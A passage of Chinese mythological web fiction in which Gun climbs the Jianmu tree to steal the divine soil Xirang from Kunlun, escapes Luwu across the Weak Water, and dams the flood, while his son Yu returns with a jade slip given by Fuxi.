三日阳寿……已经开始倒计时。而鲧望向昆仑方向的目光,燃烧着孤注一掷的火焰。羲青看着砺,他也正看着她,仿佛在说:不管前路如何,我都会陪着你。 2. 第2章:天梯孤攀 桑林里堤的惨状,如同地狱在人间的投影。风雨稍歇,留下的是一片狼藉与死寂。尸骸与废墟浸泡在泥泞中,幸存者的哭泣声微弱得如同蚊蚋,几乎被滔滔洪水的咆哮所吞没。 鲧立于镇泽台残骸之上,浑身浴血,左臂白骨森然。他的目光扫过这片他用七年心血、无数生命守护,却最终难逃崩溃命运的土地。共工残魂的狞笑、后土娘娘的斥责、血咒龟甲的预言,如同毒蛇般啃噬着他的心脏。然而,比绝望更深的是不甘与责任。 他颤抖着从贴身内衬中取出一片被血水和雨水浸透的兽骨。这是羲青的父亲——星官羲仲临终前托付给他的最后遗物。上面不仅有对雷泽与天河能量共鸣的推测,更在角落处,用蓝矿石勾勒出一座巍峨神圣的雪山,旁边是以生命为代价推演出的箴言: “昆仑之巅,悬圃藏焉。中有神土,名曰息壤。自生自长,堙水塞渊。然非至诚,不可得见;非大牺牲,不可触动。取之逆天,恐招巨愆。” 此前,他始终对这缥缈的传说心存疑虑,更不愿行逆天之举。但如今,凡间之法已尽,邪道亦入死局,这已是唯一的、最后的希望。 “息壤……”鲧干裂的嘴唇蠕动着,吐出这两个重逾千钧的字。眼中熄灭的火焰再次燃起,那是孤注一掷的决绝。 他命人唤来军中最为年迈博学的巫祝——巫风。巫风乃历代传承之巫,其先祖曾侍奉过颛顼帝,知晓许多上古秘辛。 在一处尚未完全倒塌的窝棚内,鲧屏退左右,只留巫风一人。一截快要熄灭的火把,映照着他苍白而坚定的脸。 “巫风,吾欲上天,入昆仑天库,借息壤以平洪水。汝可知路径?” 巫风闻言,浑浊的双眼骤然收缩,身体剧震,几乎握不住手中的鸠杖。“司空!不可!昆仑乃天帝之下都,非神莫入!强闯神域,乃万死无生之罪!且息壤乃创世圣物,受西王母神力约束,滋养万物,岂容凡夫染指?昔日共工怒触不周山,已致天倾西北,地陷东南;若再动摇息壤,恐有覆世之祸啊!” “凡夫?祸患?”鲧猛地抬头,眼中血丝密布,“你看这天下,可还有凡夫的活路?看这洪水,难道不是覆世之祸?若借得神土,能活万民,鲧纵万死,魂飞魄散,永堕酆都,亦在所不惜!告诉我,路在何方!”他的声音嘶哑,却带着金石般的决绝,每一个字都砸在巫咸的心上。 巫风被其气势所慑,沉默良久,终化为一声长叹。他伸出枯瘦的手指,在潮湿的泥地上画下一株通天巨木的图案,又在巨木旁勾勒出蜿蜒的黑水和险峻的山峦。 “唯有……建木。上古天地相通,建木为梯,百仞无枝,上有九欘,下有九枸,其实如麻,其叶如芒,大暤爰过,黄帝所为。然自颛顼帝绝地天通后,建木已被斩断,其主干残留于西南黑水之畔,隐于群峦之间,仍具通天神性,是为通往天界唯一残径。”巫风的手指颤抖着,“然其下弱水环绕,鸿毛不浮,飞鸟难渡;其上天罡裂风,销骨蚀魂。纵能攀至顶端,抵达昆仑悬圃——那是天帝的空中花园,还要过守门神那一关,天神陆吾镇守,凶险无比……难啊……难如逆天……” “悬圃……陆吾……”鲧牢牢记住这些名字,“告诉我细节,巫风。一切细节!弱水如何辨识?建木具体在黑水何处?悬圃是何光景?陆吾形貌如何?”他追问着,不肯放过任何一丝可能。 巫风闭上眼,仿佛在浩如烟海的先祖记忆碎片中搜寻:“弱水……其色玄黑,其质至轻,触之如虚无,却沉溺万物……建木残根,据传在黑水之源,一座形似卧虎的山脉之阴,其树皮焦黑如炭,木质却温润如玉……悬圃……乃悬于天地之间的神圃,流金之泉,琅玕之树,奇花异草,不可思议……陆吾……虎身而九尾,人面而虎爪,司天之九部及帝之囿时,神威如狱……” “足够了。”鲧将这些信息死死刻入脑海。他站起身,向这位衰老的巫者深深一揖,“若鲧得归,必谢大恩。若不得归……桑林里遗民,拜托了。” 巫风老泪纵横,伏地不起:“司空……保重……” 消息无法隐瞒。当鲧决意孤身前往建木的消息传开,砺与羲青第一时间冲了过来。 “司空!带我同去!”砺砰的一声单膝跪地,少年脸上是前所未有的焦灼与坚决,“我愿为司空开路,生死相随!我的命是您给的!” 羲青脸色苍白,却强撑着镇定,她怀中紧紧抱着父亲的星盘:“鲧,星盘或可指引天路方位,辨明星辰时序,让我同行,我能帮您!父亲若在,也定会如此!” 就连鲧最忠实的部下,力士鸿超也捶着胸膛吼道:“司空!让鸿超陪您去!好歹有个照应!这天杀的天,俺也要去闯一闯!” 鲧看着他们,目光一一扫过,那眼神深处有难以言喻的疲惫与温柔,但出口的话语却冰冷如铁: “糊涂!” 他厉声喝道,因伤势和激动而微微咳嗽:“此非人间征伐,乃逆天之行!多一人,便多一分牵绊,多一具尸骸!砺,你的命不止是你的,要护着羲青,护着她绘完《水经》,那是未来治水的希望!羲青,你的使命在人间,在笔端,不在天上!鸿超,留下,守护桑林里残众,等待可能归来的援军,这是军令!” 他顿了顿,声音沙哑却不容置疑:“我意已决,无需多言。若我还回得来……自会归来。若回不来……这便是我的命数。你们活着,便是薪火。” 说罢,他不再看众人,转身默默收拾。他只带了一壶清水、几块干粮、羲仲留下的兽皮图、巫咸赠予的一小包可暂时凝神辟邪的巫药,以及那柄象征治水责任的青铜短匕。 次日黎明,天色未明,寒露深重。鲧独自一人,拖着伤躯,悄然离开桑林里残破的营地,向着西南方向,义无反顾地踏上了这条几近自杀的问天之路。他的背影在熹微的晨光中,显得如此孤独而决绝。砺失神地站立着,羲青掩面而泣,泪水从指缝中滑落。 与此同时,三十三天之外,紫微垣深处。 帝俊居于紫宫之巅,此处非金非玉,乃是一片无垠的星辰本源凝聚之所。脚下是流转不息的云汉星河,万千星辰如同细沙般在虚空中沉浮、生灭,遵循着玄奥的轨迹运行。他并未坐于凡俗理解的宝座之上,而是随意跌坐于虚空,周身笼罩着柔和却涵盖八荒的神辉,那光辉并非刺目,却仿佛蕴藏着宇宙初开的第一缕光,令人望之即心生敬畏,不敢直视。 他手中并无实体之琴,修长完美的十指虚按于身前,随着指尖的每一次微妙拨动,周遭的星辰轨迹便随之发生极其细微却精准的调整,发出一种唯有神识方能感知的、宏大至缥缈的韵律——那并非寻常音律,而是天道的和鸣,是星辰运转的节拍,是维系三界平衡的根本法则之音。在他身旁,有星辉凝聚成的鸾鸟与瑞兽虚影,安静地环绕飞舞,却又仿佛只是光晕流动产生的幻象。 忽然,他修长的手指按停了琴弦。 一双洞彻过去未来的深邃眼眸,缓缓睁开,望向无尽云海之下的凡间。他的目光穿透九重天阙,落在了那条正艰难跋涉向建木的孤独身影上。凡间七年的苦难挣扎,桑林里堤的崩溃,以及此刻那颗燃烧着绝望与希望、决意逆天的心,都清晰地映照在这位天帝的眼中。 “陛下?”侍立一旁的仙官轻声询问,察觉到天帝心绪的细微波动。 帝俊微微抬手,仪态高雅从容,声音温和而带着一丝悠远的叹息:“无妨。只是感知到一份过于沉重的凡人之勇。” 他早已洞悉鲧的意图,也知晓其注定失败的结局。他甚至看到了更远的未来,那缕由失败点燃的、微弱的希望之火。 “陛下,此子妄图窃取息壤,扰乱天序,是否需要阻拦?”仙官问道,语气中带着对天律的绝对维护。 帝俊轻轻摇头,目光悲悯而智慧:“不必。天命昭昭,非是无情。洪水滔天,实乃下界积怨反噬,亦是人族命途必经之劫。外力强压,如壅塞溃疮,终非根治之道。唯有历经彻骨之痛,于绝望中自省,方能斩断怨孽之根,悟得‘疏导’真义。” 他顿了顿,继续道:“鲧之赤诚,可撼天地,然其法谬矣。让他去,让他试,让他败。他的牺牲,将成为后人踏出的第一步。此乃……必要的代价。” 言毕,他指尖微弹,一道无形谕令悄无声息地传出,跨越层层天界。 “传令,弱水之畔,遣一飞龙,渡其至建木残根。此后之路,便由他自行挣扎罢。” 鲧跋涉了不知多少日夜,翻越荒芜的山岭,穿过死寂的沼泽。餐风饮露,伤口的疼痛与内心的焦灼时刻折磨着他。干粮早已耗尽,他依靠野果和草根维持生命,身体愈发消瘦,唯有眼中的火焰不曾熄灭。 根据巫咸的描述和羲仲图卷上的模糊指引,他终于来到了一片死寂之地。这里的天空永远是灰蒙蒙的,空气中弥漫着一种令人窒息的虚无感。 眼前是一片浩瀚无边的黑色水域,死气沉沉,波澜不兴,却散发着令人灵魂战栗的寒意。水边没有任何生命迹象,甚至连一根水草都没有。这便是弱水。对岸,在朦胧的雾气中,一株巨大到难以想象的树木残骸巍然矗立,通体焦黑,仿佛被天火焚烧过,断裂处参差不齐,如同巨人被斩断的脊骨,倔强地直指昏暗的天穹。那就是建木残根。 弱水隔绝,无法渡过。鲧尝试扔下一块石头,那石头竟无声无息地沉没,没有泛起一丝涟漪。他感到一阵彻底的无力感。 就在鲧心生绝望,几乎要不顾一切尝试泅渡这鸿毛不浮的弱水时,一声清越龙吟自高天传来。云层破开,一条银白色的飞龙舒展着矫健的身姿,缓缓降落。它鳞甲熠熠生辉,龙目如同温润的琥珀,看向鲧的眼神竟无凶戾,反而带着一丝奉命行事的淡然。 “奉帝命,渡你过水。”飞龙的口吐人言,声音古老而威严,不带任何感情。 鲧心中巨震!帝俊已知!且愿助他?这天帝究竟是何用意?是怜悯,是考验,还是……某种更深刻的安排?来不及细思,他压下翻腾的心绪,躬身一礼:“谢天帝,谢神龙!” 他小心地攀上龙背,抓住冰冷的龙鳞。飞龙长吟一声,跃入弱水之上。那弱水果然诡异,飞龙飞行的高度竟被无形之力压制得极低,龙尾偶尔扫过水面,立刻发出“滋滋”的声响,几片银鳞瞬间失去光泽,变得灰暗。飞龙发出一声不适的低吟,加速冲向对岸。 抵达建木残根之下,飞龙即刻腾空而去,未曾停留片刻,也未再多看鲧一眼。 鲧再次朝着飞龙消失的方向拜谢,而后仰头望向这通天残柱。靠近了看,建木更为壮观,其直径犹如一座小山,焦黑的树皮上残留着巨大的爪痕和雷击的印记,述说着上古的惨烈战役。罡风如刀,已然开始刮擦他的皮肤,留下细密的血痕。他深吸一口气,将短匕咬在口中,开始徒手向上攀爬。 建木的残躯粗糙无比,断裂的枝杈如同利刃。罡风并非寻常之风,而是破碎的空间裂缝和九天之上的凛冽气流混合而成,每一次吹拂,都仿佛凌迟,不仅切割□□,更侵蚀神魂。鲧的麻衣早已破碎不堪,身上旧伤迸裂,新伤叠增,鲜血淋漓,每一步都在焦黑的树干上留下一个血手印。 他的左臂白骨裸露,每一次用力都带来钻心的剧痛。意识因失血、痛苦、严寒和罡风的冲击而不断模糊,好几次他险些脱手坠落。他不得不频繁停下来,紧紧抱住粗糙的树干,喘息着,抵抗着昏厥的欲望。 每当此时,他脑海中便疯狂地浮现出桑林里堤崩溃的景象、百姓绝望的脸庞、被洪水吞噬的孩童的哭喊、砺和羲青期盼的眼神……还有他出发前立下的誓言。 “我必须上去……我必须拿到息壤……”他喃喃自语,如同最虔诚的祷告,也如同最疯狂的执念。这股信念支撑着他,如同最坚韧的绳索,吊住他最后一口气。 他爬了许久,仿佛有几个世纪那么长。日月星辰在他脚下变换,风雨雷电在他身边咆哮。他曾险些被突然窜出的、由天罡之风凝聚成的无形风妖扯碎;也曾因极度疲惫而出现幻觉,看到死去的战友在向他招手。但他都挺了过来,依靠着近乎野兽般的求生本能和那股不灭的意志。 不知过了多久,就在他几乎要耗尽最后一丝力气,意识即将彻底沉入黑暗时,头顶的景象豁然开朗。罡风骤然减弱,一股浓郁到化不开的异香扑面而来。 他攀上了建木的顶端! 然而,眼前并非想象中的南天门或琼楼玉宇。建木的顶端,是一个巨大无比的、光滑如镜的断裂面,仿佛被无上神力一刀斩断。而断裂面之上,并非天空,而是一片不可思议的、悬浮在虚空中的巨大土地——流泉飞瀑,奇花异草,光华璀璨,美得不似人间。 昆仑悬圃! 他成功了第一步,却也仅仅是第一步。息壤,还在悬圃深处。 鲧艰难地爬上岸,立刻感受到此地与凡间的巨大差异。空气中所含并非寻常气息,而是浓郁的先天灵气,每一次呼吸都让他本已枯竭的身体如逢甘霖,却又因凡胎浊骨而难以完全吸收。他环顾四周,但见悬圃之中,玉树琼枝,瑶草奇葩,光怪陆离,俱是人间未见之景。远处有白玉宫殿隐现于云雾之中,近处泉水潺潺,流淌的竟是液态金精,树木叶片碰撞发出清脆仙乐。 但他无心欣赏这仙境之美。他知道这里是西王母治下,随时可能遇到巡弋的天神。他必须尽快找到息壤。 根据巫风所述和羲仲图卷上的模糊指引,他辨认方向,向着悬圃深处跋涉。悬圃之中看似祥和,却也暗藏危险。他曾踏入一片看似普通的草地,脚下的灵花却突然化作利齿试图咬噬;也曾惊动一群栖息在琅玕树上的青鸟,它们发出警报般的鸣叫,引来一阵疑惑的神念扫过这片区域,鲧只能屏息凝神,紧贴在一处山石后,直到神念消失。 越往深处行,越是奇观迭出:有树木结出明珠般的果实,有泉眼涌出七彩霞光,更有区域时间流速异常,草木以肉眼可见的速度枯荣交替。鲧不敢停留,不敢索取这里的任何食物和水,全靠意志力支撑。身体越来越虚弱,但对息壤的感应却越来越清晰——那是一种源自大地本源的呼唤,一种造化生机的共鸣。 终于,在穿越了一片由霞光凝聚而成的森林后,他来到一处奇异的花园。这里的土壤呈现五种色彩,散发着浓郁的先天地气。园中央有一方玉池,池中不是水,而是流动的玉膏,池畔生长着一株参天巨木,叶片如同翡翠,果实宛若星辰。 而在玉池旁,一团被柔和光晕笼罩的土壤正在缓缓蠕动。它看似普通,却散发着令周围奇花异草都为之俯首的威严——正是息壤! 但就在鲧即将靠近的瞬间,一声震天虎啸响起,整个悬圃为之震颤! 天门守将,陆吾,显形。 人面虎身,通体洁白如玉,九颗威严的虎头如同九座山岳,环视四面八方,十八只金瞳如同十八轮烈日,瞬间就锁定了个体渺小、气息与周遭格格不入的鲧!神威如狱,磅礴压下! 鲧被这股纯粹而强大的神威震得喉头一甜,鲜血溢出嘴角,巨大的恐惧攫住了他,几乎让他立刻昏厥过去。那是低等生命面对至高存在时的本能战栗。 但他强撑着一口气,用尽全身力气,将青铜短匕插在地上支撑身体,嘶声喊道:“守将息怒!下界治水之臣鲧,冒死前来,非为觊觎天宝,实为苍生乞命!” 他不等陆吾回应,急速陈述人间惨状,声音因伤势和激动而断断续续,却悲怆而恳切:“……洪水滔天,哀鸿遍野已历七载,万民溺毙,饿殍千里,易子而食……帝阙高远,未垂怜恤……下臣穷尽人力,回天乏术……闻昆仑有息壤,能生万物,塞渊止水……恳求守将通融,允我拜见西王母,乞借神土片刻,救民于水火!事后鲧愿奉还神土,领受任何天罚,千刀万剐,魂飞魄散,绝无怨言!”他重重叩首,额头抵在冰冷的地面上。 “息壤乃女娲圣物,镇天地之基,滋养悬圃万物,岂容凡俗染指!私借息壤,干犯天条,罪无可赦!”陆吾九首齐啸,声浪如同九天雷霆,轰击着鲧的身心,“退去!或形神俱灭!” 威压更甚,鲧的骨骼发出不堪重负的呻吟。但就在此刻,他猛地抬头,染血的视线仿佛穿透了巍峨的天门,再次看到了下界那炼狱般的景象。无尽的苦难、百姓的期盼、自己的失败与罪责,化作一股磅礴的、超越恐惧的力量,支撑着他一寸寸地挺直脊梁。 他拔出短匕,竟猛地划开自己早已伤痕累累的胸膛,炽热的心血喷洒而出,他举起那只仅剩白骨的左臂,用尽最后的生命之力,指向下方的人间方向,嘶吼声响彻悬圃: “凭——这——个——!凭这亿万生灵的苦难!凭这死不瞑目的冤魂!凭我这七年无功的罪孽!今日若不得息壤,鲧便血溅天门,以死明志!但求守将看在苍生份上,通传一声!” 那指向人间的染血臂骨,那剖开的、赤诚(却也是偏执)的心,那眼中焚烧的、与亿万苍生共命的火焰,竟让执行天律亿万年的陆吾,九颗头颅的动作齐齐一滞!十八只金瞳中,闪过一丝极其细微的、近乎茫然的波动。神性的绝对秩序,与这种源自尘世最底层的、牺牲一切的磅礴悲愿,发生了刹那的冲突。 就在这一线之机! 鲧眼中精光爆射,他知道这是唯一的机会!他燃烧最后生命潜能,压榨出所有的力量,化作一道血色的流星,不顾一切地从陆吾九首交错的那一瞬缝隙中,悍然冲向了那团息壤! 陆吾发出一声惊怒的咆哮,虎爪挥出,却只撕下了鲧一片破碎的衣角。 就在鲧的手即将触碰到息壤的瞬间,一个清冷而充满无上威严的女声,仿佛自九天之外,又似在他心间直接响起,震得他神魂摇曳:“止步。” 虚空波动,光华流转。西王母的身影并未完全显现,或许她本就不在此处,但其意志已如冰峰般降临,笼罩四方,将鲧牢牢锁定。她早已感知到鲧的到来,并观察了他穿越悬圃、寻觅息壤的全过程。对于这位执掌灾疫、刑杀,亦掌管长生药的女神而言,鲧的举动既大胆妄为,却又在某种更深的天意之中。 “凡人鲧,汝之勇毅与悲愿,吾已尽知。”西王母的声音听不出喜怒,唯有洞悉一切的深邃与淡漠,“然息壤非同小可,乃造化之基,滋养悬圃万物。其性本贪,噬灵吞魂,乃受吾神力约束,方得平衡。若离此间,必如脱缰野马,强用必遭反噬,恐酿较洪水更大之灾祸。汝,可知后果?” 鲧跪伏于地,向着那无所不在的威压叩首:“鲧……知之!然人间已无路可走!但有一线生机,愿以身试法,以魂饲土!若能平息水患,拯万民于万一,一切罪愆,愿独身承受!纵使永世不得超生,亦无怨无悔!只求神土降世,暂解倒悬之危!"他的声音颤抖,却充满了不容置疑的决绝。 沉默,悬圃一片死寂般的沉默。唯有灵泉潺潺,仙乐悠扬。 良久,西王母的声音再次响起,带着一丝极其微妙的、仿佛顺应天意(或是某种更深层规则)的叹息:“天律昭昭,劫数亦然。罢了……汝若执意如此,便以汝血魂为契,暂取此土吧。记住,此非赐予,乃是借贷。代价……尔早已清楚。” 其声渐逝,那笼罩四方的恐怖威压也随之消散。她并未阻拦,如同帝俊一样,她亦看到了注定的结局与其中蕴含的一线未来。逆天 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剧痛!源自灵魂本源的剥离之痛!鲧的身体肉眼可见地干瘪下去,头发瞬间变得灰白,脸上布满皱纹,仿佛顷刻间苍老了数十年。但他布满血丝的双眼却死死盯着那团搏动的、已与他生命连接的暗金神土,爆发出疯狂而炽烈的光芒! 他伸出几乎只剩皮包骨头的右手,用尽最后力气,一把抓向那团息壤! 入手冰冷刺骨、沉重如山、却又如同活物般蠕动!它瞬间缠绕而上,如同饥饿的藤蔓,贪婪地吸食着他的一切! “走——!”鲧发出一声不似人声的、混合着极致痛苦与一丝癫狂希望的咆哮,紧握息壤,转身向着来路亡命奔逃! 身后,传来陆吾被彻底触怒的、撼动整个悬圃的狂暴虎啸!雷霆与霞光为之震荡!显然,西王母的“默许”并不包括放任他离开,陆吾的职责是守卫悬圃的秩序。 鲒不顾一切地奔跑着,怀中息壤如同一颗贪婪的心脏般搏动,每一次跳动,都带走他一部分生命与魂魄。他的视线开始模糊,身体机能飞速衰退,但他不敢停下。他必须在自己被吸干之前,将息壤带回人间! 他冲过来时的路,凭借记忆和本能向着天门方向狂奔。身后陆吾的威压越来越近,雷霆般的怒吼震耳欲聋。 就在他即将冲出天门,回到悬圃的那一刻,一道巨大的、缠绕着雷霆的虎爪虚影撕裂虚空,狠狠拍下! 鲧亡魂大冒,奋力向前一扑! “噗——!”虎爪虚影擦着他的后背掠过,带起一大片血肉,甚至露出了森森的脊骨!剧痛几乎让他瞬间昏死过去。 但他借着这股冲击力,竟然成功地滚出了天门,回到了昆仑悬圃! 他不敢回头,甚至不敢查看伤势,咬紧牙关,向着建木断裂的方向连滚带爬地冲去。身后,天门内传来陆吾愤怒至极却又似乎被某种规则限制(或许是西王母的意志,或许是天门本身的限制)无法立刻追出的咆哮。 鲧冲到建木边缘,毫不犹豫,纵身向下一跃! 鲧紧抱着那团不断搏动、吞噬着他生命的息壤,从昆仑悬圃的边缘,向着下方无底的虚空纵身一跃! 建木的残骸在眼前急速放大,那焦黑粗粝的树干如同通往地狱的巨柱。天罡裂风再次如同亿万把冰冷的刮刀,疯狂地切割着他的身体。方才被陆吾虎爪撕裂的后背,传来几乎让他灵魂出窍的剧痛,鲜血在空中拉出一道凄厉的红线。 然而,与攀爬时不同,这一次,怀中那团暗金色的息壤微微震颤,散发出一圈极其微弱、却异常坚韧的灰蒙蒙光晕,如同一个脆弱的茧,将鲧勉强包裹其中。罡风击打在这光晕之上,发出令人牙酸的“嗤嗤”声,虽未能完全隔绝,却也被大幅削弱——这圣物似乎在本能地保护着这具尚且能为其提供“食粮”的宿主,不愿他过早消亡。 即便如此,下坠的冲击力和残余的罡风依旧可怕。鲧死死咬住牙关,利用残存的意识,拼命调整着姿势,试图用双脚和完好的右手去钩挂、摩擦建木粗糙的树干,以减缓下落的速度。 “砰!”他的身体重重砸在一段突出的巨大断枝上,肋骨折断的脆响清晰可闻,他眼前一黑,险些松手。但求生的本能和对息壤的执念让他爆发出最后的力量,指甲抠进焦木之中,硬生生止住了完全失控的下坠。 他就这样,时而碰撞,时而滑落,时而艰难地攀缓一段,依靠着建木残骸的阻力以及息壤那点微薄却关键的保护,一点一点地从那高不可攀的天界边缘,向着遥远而模糊的人间大地坠落。 这个过程漫长而痛苦,仿佛永无止境。息壤如同附骨之疽,持续不断地汲取着他的生命力。他的意识在清醒与模糊间徘徊,视野中交替出现着焦黑的建木、呼啸的风声、以及无数幻象——桑林里百姓哀嚎的面容、砺和羲青期盼的眼神、共工狰狞的狂笑、帝俊悲悯又淡漠的目光、西王母冰冷的告诫、陆吾震怒的咆哮…… “不能死……不能死在这里……”这念头如同最后的火炬,在他即将熄灭的灵魂中摇曳,支撑着他近乎机械地做出反应,躲避着致命的撞击。 不知过了多久,也许是一瞬,也许是万年,他感到周围的罡风渐渐减弱,空气变得沉滞,带着一股熟悉的、令人窒息的虚无感。 “噗通!” 一声沉闷的巨响,他重重砸落在实地上,巨大的冲击力让他五脏六腑都仿佛移位,鲜血从口鼻中喷涌而出。他瘫倒在地,几乎无法呼吸。 他艰难地抬起头,环顾四周。焦黑的土地,死寂的氛围,前方是那片浩瀚无边的、吞噬一切的黑色水域。 他回来了。回到了建木的根基之下,弱水之畔。 然而,最大的困境立刻摆在眼前——弱水,鸿毛不浮,飞鸟难渡。来时尚有飞龙接引,归时呢?帝俊的“仁慈”显然不会再有第二次。 鲧挣扎着坐起身,看着怀中依旧在缓慢搏动、散发着不祥暗金光芒的息壤。它似乎因为回到了接近人间的环境而显得有些……活跃?甚至隐隐传达出一种对弱水对岸那片苦难大地的“渴望”。 “弱水……弱水……”鲧喃喃自语,意识因重伤和生命力流失而混乱。他环顾四周,没有任何可以渡水的工具,甚至连一片稍大的木板都没有。 绝望再次袭来。 难道千辛万苦,逆天窃土,最终却要倒在这最后一步,功亏一篑? 不!绝不! 他猛地低头,看向息壤。一个疯狂而大胆的念头,如同电光火石般劈入他混沌的脑海! 息壤……自生自长,堙水塞渊! 它能填平人间洪水,难道……就不能在这弱水之上,生生造出一条路来?! 这个想法如此悖逆,如此疯狂,甚至可能引发未知的可怕后果。西王母的警告言犹在耳:“其性贪婪,噬灵吞魂,强用必遭反噬!”用它来填弱水,无异于火上浇油! 但他已别无选择。 鲧眼中闪过一抹癫狂的赤红。他颤抖着,用几乎只剩骨头的右手,小心翼翼地,从那一大团息壤上,掰下了指尖大小的一小块。 就这么一小块,离体的瞬间,竟仿佛有无数细微的嘶鸣从中发出,散发着惊人的贪婪与生长欲望。 鲧用尽最后力气,将这一小块息壤,奋力抛向弱水! 暗金色的土块划过一道微弱的弧线,落入那玄黑色的死寂之水。 没有沉没! 就在息壤接触弱水表面的刹那,异变陡生! “嗤——!” 仿佛烧红的烙铁浸入冰水,刺耳的声响爆发开来!那一小块息壤如同被激活的魔物,疯狂地膨胀、蔓延!它不再是温润的土,而变成了一种暗金色的、介于固体与流体之间的诡异物质,剧烈地与弱水发生着反应,相互侵蚀,又相互排斥! 弱水试图吞噬它,而它竟反过来疯狂地“吞噬”着弱水的特性,并以一种肉眼可见的速度向对岸蔓延、固化! 一条仅容一人通过、不断扭曲蠕动、散发着微弱暗金光芒的“桥”,正在弱水之上强行生成!桥体周围,黑色的弱水沸腾般翻滚,试图淹没这闯入者,却被息壤那霸道的“生长”与“湮灭”之力暂时阻隔。 这条桥极不稳定,光芒明灭不定,仿佛随时都会崩溃,将桥上的一切彻底吞噬。 鲧知道,这是唯一的机会,也是最后的赌博。 他不再犹豫,将剩余的息壤紧紧捆在胸前,深吸一口气,踏上了这条由窃取的神物强行开辟的、通往人间的禁忌之桥! 脚下一片虚无的触感,桥体在脚下剧烈震颤,弱水的寒意和息壤的吞噬感同时从脚底传来,疯狂拉扯着他的神魂。每走一步,都像是在刀尖上舞蹈,在深渊边缘徘徊。他能清晰地感觉到,脚下这座临时之桥,正在疯狂抽取着他怀中主体息壤的力量,而主体息壤则更变本加厉地汲取着他的生命作为补偿。 他的身体以肉眼可见的速度枯萎下去,头发彻底雪白,皮肤失去所有光泽,如同干裂的树皮。视线越来越模糊,耳边只剩下弱水的嘶鸣和息壤贪婪的吮吸声。 但他一步,一步,又一步,向着对岸,向着那片被洪水肆虐的人间故土,艰难前行。 心中只有一个念头:“回去……必须回去……把息壤……带回去……” 他的身影,在那条连接生死、明灭不息的诡异桥梁上,渺小、摇晃,却带着一种撼动天地的执拗,一步步挪向希望的彼岸。 当他终于踉跄着踏上弱水对岸坚实的土地时,身后的息壤之桥轰然崩塌,瞬间被黑色的弱水吞没,仿佛从未出现过。 鲧回头望了一眼那恢复死寂的弱水和遥不可及的建木,随即毫不回头,拖着濒死的躯体和怀中的希望与毁灭之源,一步步隐入了人间弥漫着水汽与绝望的迷雾之中。 3. 第3章:息壤反噬 息壤入世,初时确如神迹降临。 在桑林里堤即将被新一轮洪峰彻底冲垮的危急关头,鲧拖着残躯(右臂依旧干枯如柴,面色灰败,气息比七年来任何时候都要衰弱),立于摇摇欲坠的镇泽台顶。他将那团暗金色的息壤,如同种子般,奋力抛入下方咆哮的浊流与堤坝最致命的裂口之中! 奇迹发生了! 那团息壤遇水即涨!仿佛一头沉睡了亿万年的洪荒巨兽被唤醒!它以肉眼难以捕捉的速度疯狂膨胀、蔓延!暗金色的“土壤”如同拥有生命的血肉,瞬间填塞了巨大的裂缝,紧接着拔地而起!它无视物理的规则,遇水则生,遇阻则长,层层堆叠,节节攀升!浑浊的洪水拍打其上,非但不能将其冲散,反而如同养分般被其吞噬吸收,转化为它生长的动力! 仅仅半日! 一道高达千丈、连绵数十里的暗金色巨堤,如同大地新生的脊梁,悍然横亘在雷泽湖口与浩荡大河之间!它散发着古老而沉重的气息,表面光滑如金铁,坚不可摧。肆虐的洪峰撞上这堵叹息之墙,发出震耳欲聋的轰鸣,激起滔天浊浪,却再难前进分毫!狂暴的河水被硬生生遏制、驯服,沿着新生的堤岸改道,暂时远离了桑林里这片饱受摧残的土地。 死里逃生的桑林里沸腾了!劫后余生的狂喜冲垮了所有人的理智。人们冲出简陋的窝棚,跪倒在泥泞中,对着那巍峨如神迹的暗金巨堤叩拜、痛哭、欢呼! “神土!是神土啊!” “鲧!是鲧请来了神物!” “洪水退了!我们有救了!” 砺站在人群中,望着那道高耸入云的巨堤,眼中闪烁着复杂的光芒,有狂喜,有敬畏,更有深藏的忧虑。他的目光下意识地扫过人群,在看到羲青抱着兽骨、虽面带惊色却安好无损的身影时,那忧虑才稍稍淡了些许。 然而,这短暂的安宁之下,暗流汹涌。鲧之子——禹,时年二十一岁,刚刚结束四年的游历归来,亲眼见证了息壤筑堤的“神迹”。他站在人群边缘,眉头紧锁,与周遭的狂喜格格不入。在他的身旁,是与他形影不离的两名小伙伴阿牛和芦花。 禹生于西羌。在呱呱坠地之际,禹母修己却因难产殒命,新生命的第一声啼哭与母亲最后的微弱气息交织成永恒的诀别。不久,鲧将禹携至阳城定居。从此,鲧既当父又当母,将全部心血倾注在独子身上。自禹蹒跚学步起,鲧便将他带在身边,辗转于各个水患之地。正是在尘土飞扬的治水工地上,在洪水的咆哮与民夫的号子声中,禹逐渐长大,也对治水产生了最初的兴趣。 也是在这些年里,他结识了羲青与砺。三名少年在这特殊的成长环境里结下了深厚的情谊。然而,随着年岁渐长和见识增多,禹开始对父亲一味堵截的治水方略产生了深深的怀疑。这种怀疑在目睹了更多“堵而复溃”的悲剧后日益强烈。 终于,在十七岁那年,一次与父亲的激烈争执后,禹毅然离开了鲧的治水营地,与两名来自阳城的小伙伴——阿牛和芦花,一起开始了独自游历天下的旅程。他决心寻找不同的治水之道。四年间,他们跋山涉水,观察江河走势,访求隐士野老。他们深入共工氏故地,于幽深山中发现一位侍奉过共工氏的老巫祝,洞悉水脉玄机。正是这位老人,在一个星辉璀璨的夜晚,为禹举行了一场古老的仪式,引导他魂入虚空。 “孩子,闭目凝神,放空思虑。能否得见圣皇,窥测天机,皆看你的缘法与悟性。”老巫祝的声音苍老而神秘。禹依言盘坐,心神沉入一片混沌。恍惚间,他仿佛脱离躯壳,魂灵穿越无尽云雾,见一片浩瀚无边的水泽,泽中雷电交织,却寂然无声——此乃雷泽深处,连接天地的虚空秘境。 秘境中央,一尊身影端坐于阴阳环绕的莲台之上。祂人首蛇身,目光温润包容,仿佛蕴含宇宙生灭至理。祂周身散发着古老的气息,仿佛是一切文明与智慧的起点。禹福至心灵,知其正是一画开天的羲皇伏羲。 “禹。”伏羲开口,声非入耳,直抵心田。“水患虽烈,亦是天地重理秩序之机。汝父堵之,汝当疏之。然疏之有道,非盲目前行。” 伏羲指尖一点,一枚光华内蕴的玉简自其袖中飞出,没入禹的眉心。“以此丈量天地,定九州之疆,辨山川高低。以此度之,可明水势起伏之本。然水形地脉,变幻无常,尚需一物察其细微……时机至时,自有分晓。” 禹猛然惊醒,发现自己仍在老巫祝的茅屋之中,阿牛和芦花亦等候一旁,而自己掌心却多了一枚温润白玉简,其上刻有奇特的刻度与符文。此玉简,正是度量天地、奠定山河基准的无上至宝。 怀揣伏羲玉简,禹更坚定了疏导为主的治水理念。此次他和小伙伴们重返桑林里,本是希望能与父亲分享所见所思,却正撞上息壤筑堤的震撼场面。 